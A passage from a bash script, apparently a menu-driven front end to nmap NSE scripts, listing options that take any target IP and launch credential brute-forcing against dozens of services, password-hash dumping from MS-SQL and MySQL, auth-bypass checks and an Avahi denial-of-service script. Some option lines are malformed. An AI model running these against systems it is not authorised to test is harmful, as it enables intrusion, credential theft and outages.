 543 | 								nmap --script=mysql-enum $ip &
 544 | 	  		elif test $Brute == '34'
 545 | 	            then
 546 | 	            	echo
 547 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 548 | 	              read ip
 549 | 								$xterm -p 27017 $ip --script mongodb-brute &
 550 | 	          elif test $Brute == '35'
 551 | 	            then
 552 | 	            	echo
 553 | 	            	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 554 | 	              read ip
 555 | 								$xterm --script metasploit-msgrpc-brute -p 55553 $ip &
 556 | 	          elif test $Brute == '36'
 557 | 	             then
 558 | 	             	echo
 559 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 560 | 	              read ip
 561 | 	             $xterm --script metasploit-xmlrpc-brute -p 55553 $ip &
 562 | 	           elif test $Brute == '37'
 563 | 	             then
 564 | 	             	echo
 565 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 566 | 	              read ip
 567 | 	             $xterm -p 8728 --script mikrotik-routeros-brute $ip &
 568 | 	           elif test $Brute == '38'
 569 | 	             then
 570 | 	             	echo
 571 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 572 | 	              read ip
 573 | 								$xterm -sV --script=nessus-xmlrpc-brute $ip &
 574 | 	           elif test $Brute == '39'
 575 | 	             then
 576 | 	             	echo
 577 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 578 | 	              read ip
 579 | 								$xterm -p 12345 --script netbus-brute $ip &
 580 | 	           elif test $Brute == '40'
 581 | 	             then
 582 | 	             	echo
 583 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 584 | 	              read ip
 585 | 								$xterm --script nexpose-brute -p 3780 $ip &
 586 | 	           elif test $Brute == '41'
 587 | 	             then
 588 | 	             	echo
 589 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 590 | 	              read ip
 591 | 								$xterm -sV --script=nje-node-brute $ip &
 592 | 	           elif test $Brute == '42'
 593 | 	             then
 594 | 	             	echo
 595 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 596 | 	              read ip
 597 | 								$xterm --script=nje-pass-brute --script-args=ohost='POTATO',rhost='CACTUS',sleep=5 -p 175 $ip &
 598 | 	           elif test $Brute == '43'
 599 | 	             then
 600 | 	             	echo
 601 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 602 | 	              read ip
 603 | 								$xterm -p 9929 --script nping-brute $ip &
 604 | 	           elif test $Brute == '44'
 605 | 	             then
 606 | 	             	echo
 607 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 608 | 	              read ip
 609 | 	             	$xterm --script nessus-brute -p 1241 $ip &
 610 | 	           elif test $Brute == '45'
 611 | 	             then
 612 | 	             	echo
 613 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 614 | 	              read ip
 615 | 								$xterm -p 9390 --script omp2-brute $ip &
 616 | 	           elif test $Brute == '46'
 617 | 	             then
 618 | 	             	echo
 619 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 620 | 	              read ip
 621 | 								$xterm -sV --script=openvas-otp-brute $ip &
 622 | 	           elif test $Brute == '47'
 623 | 	             then
 624 | 	             	echo
 625 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 626 | 	              read ip
 627 | 								$xterm --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL $ip &
 628 | 	           elif test $Brute == '48'
 629 | 	             then
 630 | 	             	echo
 631 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 632 | 	              read ip
 633 | 								$xterm --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL $ip &
 634 | 	           elif test $Brute == '49'
 635 | 	             then
 636 | 	             	echo
 637 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 638 | 	              read ip
 639 | 								$xterm --script=oracle-sid-brute -p 1521-1560 $ip &
 640 | 	           elif test $Brute == '50'
 641 | 	             then
 642 | 	             	echo
 643 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 644 | 	              read ip
 645 | 								$xterm --script=pcanywhere-brute $ip &
 646 | 	           elif test $Brute == '51'
 647 | 	             then
 648 | 	             	echo
 649 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 650 | 	              read ip
 651 | 								$xterm -p 5432 --script pgsql-brute $ip &
 652 | 	           elif test $Brute == '52'
 653 | 	             then
 654 | 	             	echo
 655 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 656 | 	              read ip
 657 | 								$xterm -sV --script=pop3-brute $ip &
 658 | 	           elif test $Brute == '53'
 659 | 	             then
 660 | 	             	echo
 661 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 662 | 	              read ip
 663 | 								$xterm -p 6379 $ip --script redis-brute &
 664 | 	           elif test $Brute == '54'
 665 | 	             then
 666 | 	             	echo
 667 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 668 | 	              read ip
 669 | 								$xterm -p 512 --script rexec-brute $ip &
 670 | 	           elif test $Brute == '55'
 671 | 	             then
 672 | 	             	echo
 673 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 674 | 	              read ip
 675 | 								$xterm -p 513 --script rlogin-brute $ip &
 676 | 	           elif test $Brute == '56'
 677 | 	             then
 678 | 	             	echo
 679 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 680 | 	              read ip
 681 | 								$xterm -p 2002 $ip --script rpcap-brute &
 682 | 	           elif test $Brute == '57'
 683 | 	             then
 684 | 	             	echo
 685 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 686 | 	              read ip
 687 | 								$xterm -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' $ip &
 688 | 	           elif test $Brute == '58'
 689 | 	             then
 690 | 	             	echo
 691 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 692 | 	              read ip
 693 | 	             	$xterm --script rtsp-url-brute -p 554 $ip &
 694 | 	           elif test $Brute == '59'
 695 | 	             then
 696 | 	             	echo
 697 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 698 | 	              read ip
 699 | 								$xterm -sU -p 5060 $ip --script=sip-brute &
 700 | 	           elif test $Brute == '60'
 701 | 	             then
 702 | 	             	echo
 703 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 704 | 	              read ip
 705 | 								$xterm --script socks-brute -p 1080 $ip &
 706 | 	           elif test $Brute == '61'
 707 | 	             then
 708 | 	             	echo
 709 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 710 | 	              read ip
 711 | 								$xterm --script svn-brute --script-args svn-brute.repo=/svn/ -p 3690 $ip &
 712 | 	           elif test $Brute == '62'
 713 | 	             then
 714 | 	             	echo
 715 | 	             	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 716 | 	              read ip
 717 | 								$xterm --script=tso-enum -p 23 $ip &
 718 | 	           elif test $Brute == '63'
 719 | 	              then
 720 | 	              echo
 721 | 	              echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 722 | 	              read ip
 723 | 	              $xterm -sU -sS --script smb-brute.nse -p U:137,T:139 &
 724 | 	            elif test $Brute == '64'
 725 | 	              then
 726 | 	              	echo
 727 | 	              	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 728 | 	                read ip
 729 | 	              	$xterm -p 25 --script smtp-brute $ip &
 730 | 	            elif test $Brute == '65'
 731 | 	               then
 732 | 	               	echo
 733 | 	               	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 734 | 	                read ip
 735 | 	               	echo -ne $okegreen " Located Wordlist ? :  " ; tput sgr0
 736 | 	                read wordlist
 737 | 	               $xterm -sU --script snmp-brute $ip [--script-args snmp-brute.communitiesdb=$wordlist ]  &
 738 | 	             elif test $Brute == '66'
 739 | 	               then
 740 | 	               	echo
 741 | 	               	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 742 | 	                read ip
 743 | 	               	echo -ne $okegreen " Open Port on Target or Host (23):  " ; tput sgr0
 744 | 	                read port
 745 | 	               	$xterm -p $port --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s $ip &
 746 | 	            elif test $Brute == '67'
 747 | 	              then
 748 | 	              	echo
 749 | 	              	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 750 | 	                read ip
 751 | 									$xterm --script vtam-enum -p 23 $ip &
 752 | 	            elif test $Brute == '68'
 753 | 	              then
 754 | 	              	echo
 755 | 	              	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 756 | 	                read ip
 757 | 									$xterm -p 902 $ip --script vmauthd-brute &
 758 | 	             elif test $Brute == '69'
 759 | 	               then
 760 | 	               	echo
 761 | 	               	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 762 | 	                read ip
 763 | 	               	$xterm --script vnc-brute -p 5900 $ip &
 764 | 	             elif test $Brute == '70'
 765 | 	               then
 766 | 	               	echo
 767 | 	               	echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 768 | 	                read ip
 769 | 	               	$xterm -p 5222 --script xmpp-brute $ip &
 770 | 	             elif test $Brute == '71'
 771 | 	               then
 772 | 	                nse
 773 | 	             else
 774 | 	                 echo ""
 775 | 	                 echo -e $okegreen " Incorrect Number"
 776 | 	               fi
 777 | 	               		echo ""
 778 | 	               		echo ""
 779 | 	               		echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
 780 | 	             read back
 781 | 	             if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
 782 | 	                 then
 783 | 	                 clear
 784 | 	                 menu
 785 | 	             elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
 786 | 	                 then
 787 | 	                 brutense
 788 | 	             fi
 789 | }
 790 | 
 791 | function auth () {
 792 | clear
 793 | 	echo
 794 | 	echo
 795 |   echo -e $white"	[$okegreen"01"$white]$cyan ajp-auth "
 796 |   echo -e $white"	[$okegreen"02"$white]$cyan creds-summary	"
 797 |   echo -e $white"	[$okegreen"03"$white]$cyan domcon-cmd	"
 798 |   echo -e $white"	[$okegreen"04"$white]$cyan domino-enum-users	"
 799 |   echo -e $white"	[$okegreen"05"$white]$cyan ftp-anon	"
 800 |   echo -e $white"	[$okegreen"06"$white]$cyan http-auth	"
 801 |   echo -e $white"	[$okegreen"07"$white]$cyan http-barracuda-dir-traversal	"
 802 |   echo -e $white"	[$okegreen"08"$white]$cyan http-config-backup	"
 803 |   echo -e $white"	[$okegreen"09"$white]$cyan http-default-accounts	"
 804 |   echo -e $white"	[$okegreen"10"$white]$cyan http-domino-enum-passwords	"
 805 |   echo -e $white"	[$okegreen"11"$white]$cyan http-method-tamper	"
 806 |   echo -e $white"	[$okegreen"12"$white]$cyan http-userdir-enum	"
 807 |   echo -e $white"	[$okegreen"13"$white]$cyan http-vuln-cve2010-0738	"
 808 |   echo -e $white"	[$okegreen"14"$white]$cyan http-wordpress-users	"
 809 |   echo -e $white"	[$okegreen"15"$white]$cyan informix-query	"
 810 |   echo -e $white"	[$okegreen"16"$white]$cyan informix-tables	"
 811 |   echo -e $white"	[$okegreen"17"$white]$cyan krb5-enum-users	"
 812 |   echo -e $white"	[$okegreen"18"$white]$cyan ms-sql-dump-hashes"
 813 |   echo -e $white"	[$okegreen"19"$white]$cyan ms-sql-empty-password	"
 814 |   echo -e $white"	[$okegreen"20"$white]$cyan ms-sql-hasdbaccess	"
 815 |   echo -e $white"	[$okegreen"21"$white]$cyan mysql-dump-hashes	"
 816 |   echo -e $white"	[$okegreen"22"$white]$cyan mysql-empty-password	"
 817 |   echo -e $white"	[$okegreen"23"$white]$cyan mysql-query	"
 818 |   echo -e $white"	[$okegreen"24"$white]$cyan mysql-users	"
 819 |   echo -e $white"	[$okegreen"25"$white]$cyan ncp-enum-users	"
 820 |   echo -e $white"	[$okegreen"26"$white]$cyan netbus-auth-bypass	"
 821 |   echo -e $white"	[$okegreen"27"$white]$cyan oracle-enum-users	"
 822 |   echo -e $white"	[$okegreen"28"$white]$cyan realvnc-auth-bypass	"
 823 |   echo -e $white"	[$okegreen"29"$white]$cyan sip-enum-users	"
 824 |   echo -e $white"	[$okegreen"30"$white]$cyan smb-enum-users	"
 825 |   echo -e $white"	[$okegreen"31"$white]$cyan smtp-enum-users	"
 826 |   echo -e $white"	[$okegreen"32"$white]$cyan snmp-win32-users	"
 827 |   echo -e $white"	[$okegreen"33"$white]$cyan x11-access	"
 828 |   echo -e $white"	[$okegreen"34"$white]$cyan Back "
 829 |   echo -e " "
 830 |   echo -n -e $red'  \033[4mScreetsec@nse-auth:\033[0m>> '; tput sgr0 #insert your choice
 831 |            read win
 832 |         if test $win == '1'
 833 |           then
 834 |           echo
 835 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 836 |           read ip
 837 |           $xterm -p 8009 $ip --script ajp-auth [--script-args ajp-auth.path=/login] &
 838 |         elif test $win == '2'
 839 |           then
 840 |           echo
 841 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 842 |           read ip
 843 |           $xterm -sV -sC $ip &
 844 |         elif test $win == '3'
 845 |           then
 846 |           echo
 847 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 848 |           read ip
 849 |           echo -ne $okegreen " What is your cmd user: " ; tput sgr0
 850 |           read user
 851 |           echo -ne $okegreen " What is your cmd pass: " ; tput sgr0
 852 |           read pass
 853 |           $xterm -p 2050 $ip --script domcon-cmd --script-args domcon-cmd.cmd="show server" domcon-cmd.user="$user",domcon-cmd.pass="$pass" &
 854 |         elif test $win == '4'
 855 |           then
 856 |           echo
 857 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 858 |           read ip
 859 |           $xterm --script domino-enum-users -p 1352 $ip &
 860 |         elif test $win == '5'
 861 |           then
 862 |           echo
 863 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 864 |           read ip
 865 |           $xterm -sV -sC $ip &
 866 |         elif test $win == '6'
 867 |           then
 868 |           echo
 869 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 870 |           read ip
 871 |           $xterm --script http-auth [--script-args http-auth.path=/login] -p80 $ip &
 872 |         elif test $win == '7'
 873 |           then
 874 |           echo
 875 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 876 |           read ip
 877 |           echo -ne $okegreen " What is your Port Target " ; tput sgr0
 878 |           read port
 879 |           $xterm --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p $port $ip &
 880 |         elif test $win == '8'
 881 |           then
 882 |           echo
 883 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 884 |           read ip
 885 |           $xterm --script=http-config-backup $ip &
 886 |         elif test $win == '9'
 887 |           then
 888 |           echo
 889 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 890 |           read ip
 891 |           $xterm -p 80 --script http-default-accounts $ip &
 892 |         elif test $win == '10'
 893 |           then
 894 |           echo
 895 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 896 |           read ip
 897 |           echo -ne $okegreen " What the username: " ; tput sgr0
 898 |           read user
 899 |           echo -ne $okegreen " What the password: " ; tput sgr0
 900 |           read pass
 901 |           $xterm  --script domino-enum-passwords -p 80 $ip --script-args domino-enum-passwords.username=$user,domino-enum-passwords.password=$pass &
 902 |         elif test $win == '11'
 903 |           then
 904 |           echo
 905 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 906 |           read ip
 907 |           $xterm p80 --script http-method-tamper --script-args 'http-method-tamper.paths={/protected/db.php,/protected/index.php}' $ip &
 908 |         elif test $win == '12'
 909 |           then
 910 |           echo
 911 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 912 |           read ip
 913 |           $xterm -sV --script=http-userdir-enum $ip  &
 914 |         elif test $win == '13'
 915 |           then
 916 |           echo
 917 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 918 |           read ip
 919 |           $xterm --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' $ip &
 920 |         elif test $win == '14'
 921 |           then
 922 |           echo
 923 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 924 |           read ip
 925 |           $xterm -sV --script http-wordpress-users --script-args limit=50 $ip &
 926 |         elif test $win == '15'
 927 |           then
 928 |           echo
 929 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 930 |           read ip
 931 |           echo -ne $okegreen " The username used for authentication: " ; tput sgr0
 932 |           read user
 933 |           echo -ne $okegreen " The password used for authentication : " ; tput sgr0
 934 |           read pass
 935 |           $xterm -p 9088 $ip --script informix-query --script-args informix-query.username=$user,informix-query.password=$pass &
 936 |         elif test $win == '16'
 937 |         then
 938 |           echo
 939 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 940 |           read ip
 941 |           echo -ne $okegreen " The username used for authentication: " ; tput sgr0
 942 |           read user
 943 |           echo -ne $okegreen " The password used for authentication : " ; tput sgr0
 944 |           read pass
 945 |           $xterm -p 9088 $ip --script informix-tables --script-args informix-tables.username=$user,informix-tables.password=$pass &
 946 |         elif test $win == '17'
 947 |           then
 948 |           echo
 949 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 950 |           read ip
 951 |           $xterm -p 88 $ip --script krb5-enum-users --script-args krb5-enum-users.realm='test' &
 952 |         elif test $win == '18'
 953 |           then
 954 |           echo
 955 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 956 |           read ip
 957 |           $xterm -p 1433 $ip --script ms-sql-dump-hashes &
 958 |         elif test $win == '19'
 959 |           then
 960 |           echo
 961 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 962 |           read ip
 963 |           echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
 964 |           read port
 965 |           $xterm -p $port --script ms-sql-empty-password --script-args mssql.instance-all $ip &
 966 |         elif test $win == '20'
 967 |           then
 968 |           echo
 969 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 970 |           read ip
 971 |           echo -ne $okegreen " The username used for authentication: " ; tput sgr0
 972 |           read user
 973 |           echo -ne $okegreen " The password used for authentication : " ; tput sgr0
 974 |           read pass
 975 |           $xterm -p 1433 --script ms-sql-hasdbaccess --script-args mssql.username=$user,mssql.password=$pass $ip &
 976 |         elif test $win == '21'
 977 |           then
 978 |           echo
 979 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 980 |           read ip
 981 |           echo -ne $okegreen " The username to use to connect to the server " ; tput sgr0
 982 |           read user
 983 |           echo -ne $okegreen " The password to use to connect to the server: " ; tput sgr0
 984 |           read pass
 985 |           $xterm -p 3306 $ip --script mysql-dump-hashes --script-args="username=$user,password=$pass" &
 986 |         elif test $win == '22'
 987 |           then
 988 |           echo
 989 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 990 |           read ip
 991 |           $xterm -sV --script=mysql-empty-password $ip &
 992 |         elif test $win == '23'
 993 |           then
 994 |           echo
 995 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
 996 |           read ip
 997 |           echo -ne $okegreen " The username to use to connect to the server (Optional):" ; tput sgr0
 998 |           read user
 999 |           echo -ne $okegreen " The password to use to connect to the server (Optional): " ; tput sgr0
1000 |           read pass
1001 |           echo -ne $okegreen " The query for which to return the results " ; tput sgr0
1002 |           read query
1003 |           $xterm -p 3306 $ip --script mysql-query --script-args="query="$query"[,username=$username,password=$pass]" &
1004 |         elif test $win == '24'
1005 |           then
1006 |           echo
1007 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1008 |           read ip
1009 |           $xterm -sV --script=mysql-users $ip &
1010 |         elif test $win == '25'
1011 |           then
1012 |           echo
1013 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1014 |           read ip
1015 |           $xterm -sV --script=ncp-enum-users $ip &
1016 |         elif test $win == '26'
1017 |           then
1018 |           echo
1019 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1020 |           read ip
1021 |           $xterm -p 12345 --script netbus-auth-bypass $ip &
1022 |         elif test $win == '27'
1023 |           then
1024 |           echo
1025 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1026 |           read ip
1027 |           $xterm --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt -p 1521-1560 $ip &
1028 |         elif test $win == '28'
1029 |           then
1030 |           echo
1031 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1032 |           read ip
1033 |           $xterm -sV -sC $ip &
1034 |         elif test $win == '29'
1035 |           then
1036 |           echo
1037 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1038 |           read ip
1039 |           $xterm --script=sip-enum-users -sU -p 5060 $ip &
1040 |         elif test $win == '30'
1041 |           then
1042 |           echo
1043 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1044 |           read ip
1045 |           $xterm -script smb-enum-users.nse -p 445 $ip &
1046 |         elif test $win == '31'
1047 |           then
1048 |           echo
1049 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1050 |           read ip
1051 |           $xterm --script smtp-enum-users.nse [--script-args smtp-enum-users.methods={EXPN,...},...] -p 25,465,587 $ip &
1052 |         elif test $win == '32'
1053 |           then
1054 |           echo
1055 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1056 |           read ip
1057 |           $xterm -sU -p 161 --script=snmp-win32-users $ip &
1058 |         elif test $win == '33'
1059 |           then
1060 |           echo
1061 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1062 |           read ip
1063 |           $xterm --sV -sC $ip &
1064 |         elif test $win == '34'
1065 |           then
1066 |            nse
1067 |         else
1068 |             echo ""
1069 |             echo -e $okegreen " Incorrect Number"
1070 |           fi
1071 |           echo ""
1072 |           echo ""
1073 |           echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
1074 |         read back
1075 |         if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
1076 |             then
1077 |             clear
1078 |             menu
1079 |         elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
1080 |             then
1081 |             auth
1082 |         fi
1083 | }
1084 | 
1085 | function brd () {
1086 | clear
1087 |   echo
1088 |   echo
1089 |   echo -e $white"	[$okegreen"01"$white]$cyan broadcast-ataoe-discover	"
1090 |   echo -e $white"	[$okegreen"02"$white]$cyan broadcast-avahi-dos	"
1091 |   echo -e $white"	[$okegreen"03"$white]$cyan broadcast-bjnp-discover "
1092 |   echo -e $white"	[$okegreen"04"$white]$cyan broadcast-db2-discover	"
1093 |   echo -e $white"	[$okegreen"05"$white]$cyan broadcast-dhcp-discover	"
1094 |   echo -e $white"	[$okegreen"06"$white]$cyan broadcast-dhcp6-discover	"
1095 |   echo -e $white"	[$okegreen"07"$white]$cyan broadcast-dns-service-discovery	"
1096 |   echo -e $white"	[$okegreen"08"$white]$cyan broadcast-dropbox-listener	"
1097 |   echo -e $white"	[$okegreen"09"$white]$cyan broadcast-eigrp-discovery	"
1098 |   echo -e $white"	[$okegreen"10"$white]$cyan broadcast-igmp-discovery	"
1099 |   echo -e $white"	[$okegreen"11"$white]$cyan broadcast-listener	"
1100 |   echo -e $white"	[$okegreen"12"$white]$cyan broadcast-ms-sql-discover	"
1101 |   echo -e $white"	[$okegreen"13"$white]$cyan broadcast-netbios-master-browser	"
1102 |   echo -e $white"	[$okegreen"14"$white]$cyan broadcast-networker-discover	"
1103 |   echo -e $white"	[$okegreen"15"$white]$cyan broadcast-novell-locate	"
1104 |   echo -e $white"	[$okegreen"16"$white]$cyan broadcast-pc-anywhere	"
1105 |   echo -e $white"	[$okegreen"17"$white]$cyan broadcast-pc-duo	"
1106 |   echo -e $white"	[$okegreen"18"$white]$cyan broadcast-pim-discovery	"
1107 |   echo -e $white"	[$okegreen"19"$white]$cyan broadcast-ping	"
1108 |   echo -e $white"	[$okegreen"20"$white]$cyan broadcast-pppoe-discover	"
1109 |   echo -e $white"	[$okegreen"21"$white]$cyan broadcast-rip-discover	"
1110 |   echo -e $white"	[$okegreen"22"$white]$cyan broadcast-ripng-discover	"
1111 |   echo -e $white"	[$okegreen"23"$white]$cyan broadcast-sonicwall-discover	"
1112 |   echo -e $white"	[$okegreen"24"$white]$cyan broadcast-sybase-asa-discover	"
1113 |   echo -e $white"	[$okegreen"25"$white]$cyan broadcast-tellstick-discover	"
1114 |   echo -e $white"	[$okegreen"26"$white]$cyan broadcast-upnp-info	"
1115 |   echo -e $white"	[$okegreen"27"$white]$cyan broadcast-versant-locate	"
1116 |   echo -e $white"	[$okegreen"28"$white]$cyan broadcast-wake-on-lan	"
1117 |   echo -e $white"	[$okegreen"29"$white]$cyan broadcast-wpad-discover	"
1118 |   echo -e $white"	[$okegreen"30"$white]$cyan broadcast-wsdd-discover	"
1119 |   echo -e $white"	[$okegreen"31"$white]$cyan broadcast-xdmcp-discover	"
1120 |   echo -e $white"	[$okegreen"32"$white]$cyan eap-info	"
1121 |   echo -e $white"	[$okegreen"33"$white]$cyan ipv6-multicast-mld-list	"
1122 |   echo -e $white"	[$okegreen"34"$white]$cyan knx-gateway-discover	"
1123 |   echo -e $white"	[$okegreen"35"$white]$cyan llmnr-resolve	"
1124 |   echo -e $white"	[$okegreen"36"$white]$cyan lltd-discovery	"
1125 |   echo -e $white"	[$okegreen"37"$white]$cyan mrinfo	"
1126 |   echo -e $white"	[$okegreen"38"$white]$cyan mtrace	"
1127 |   echo -e $white"	[$okegreen"39"$white]$cyan targets-ipv6-multicast-echo	"
1128 |   echo -e $white"	[$okegreen"40"$white]$cyan targets-ipv6-multicast-invalid-dst	"
1129 |   echo -e $white"	[$okegreen"41"$white]$cyan targets-ipv6-multicast-mld	"
1130 |   echo -e $white"	[$okegreen"42"$white]$cyan targets-ipv6-multicast-slaac	"
1131 |   echo -e $white"	[$okegreen"43"$white]$cyan targets-sniffer	"
1132 |   echo -e $white"	[$okegreen"44"$white]$cyan back	"
1133 |   echo -n -e $red'  \033[4mScreetsec@nse-broadcast:\033[0m>> '; tput sgr0 #insert your choice
1134 |         read min
1135 |         if test $min == '1'
1136 |           then
1137 |           echo
1138 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1139 |           read ie
1140 |           $xterm --script broadcast-ataoe-discover -e $ie &
1141 |         elif test $min == '2'
1142 |           then
1143 |           echo
1144 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1145 |           read ie
1146 |           $xterm --script=broadcast-avahi-dos -e $ie &
1147 |         elif test $min == '3'
1148 |           then
1149 |           echo
1150 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1151 |           read ie
1152 |           $xterm --script broadcast-bjnp-discover -e $ie &
1153 |         elif test $min == '4'
1154 |           then
1155 |           echo
1156 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1157 |           read ie
1158 |           $xterm --script db2-discover -e $ie &
1159 |         elif test $min == '5'
1160 |           then
1161 |           echo
1162 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1163 |           read ie
1164 |           $xterm --script broadcast-dhcp-discover -e $ie &
1165 |         elif test $min == '6'
1166 |           then
1167 |           echo
1168 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1169 |           read ie
1170 |           $xterm -6 --script broadcast-dhcp6-discover -e $ie &
1171 |         elif test $min == '7'
1172 |           then
1173 |           echo
1174 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1175 |           read ie
1176 |           $xterm --script=broadcast-dns-service-discovery -e $ie &
1177 |         elif test $min == '8'
1178 |           then
1179 |           echo
1180 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1181 |           read ie
1182 |           $xterm --script=broadcast-dropbox-listener --script-args=newtargets -Pn -e $ie &
1183 |         elif test $min == '9'
1184 |           then
1185 |           echo
1186 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1187 |           read ip
1188 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1189 |           read ie
1190 |           $xterm --script=broadcast-eigrp-discovery $ip -e $ie &
1191 |         elif test $min == '10'
1192 |           then
1193 |           echo
1194 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1195 |           read ie
1196 |           $xterm --script broadcast-igmp-discovery -e $ie &
1197 |         elif test $min == '11'
1198 |           then
1199 |           echo
1200 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1201 |           read ie
1202 |           $xterm --script broadcast-listener -e $ie &
1203 |         elif test $min == '12'
1204 |           then
1205 |           echo
1206 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1207 |           read ie
1208 |           $xterm nmap --script broadcast-ms-sql-discover -e $ie &
1209 |         elif test $min == '13'
1210 |           then
1211 |           echo
1212 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1213 |           read ie
1214 |           $xterm --script=broadcast-netbios-master-browser -e $ie &
1215 |         elif test $min == '14'
1216 |           then
1217 |           echo
1218 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1219 |           read ie
1220 |           $xterm --script broadcast-networker-discover -e $ie &
1221 |         elif test $min == '15'
1222 |           then
1223 |           echo
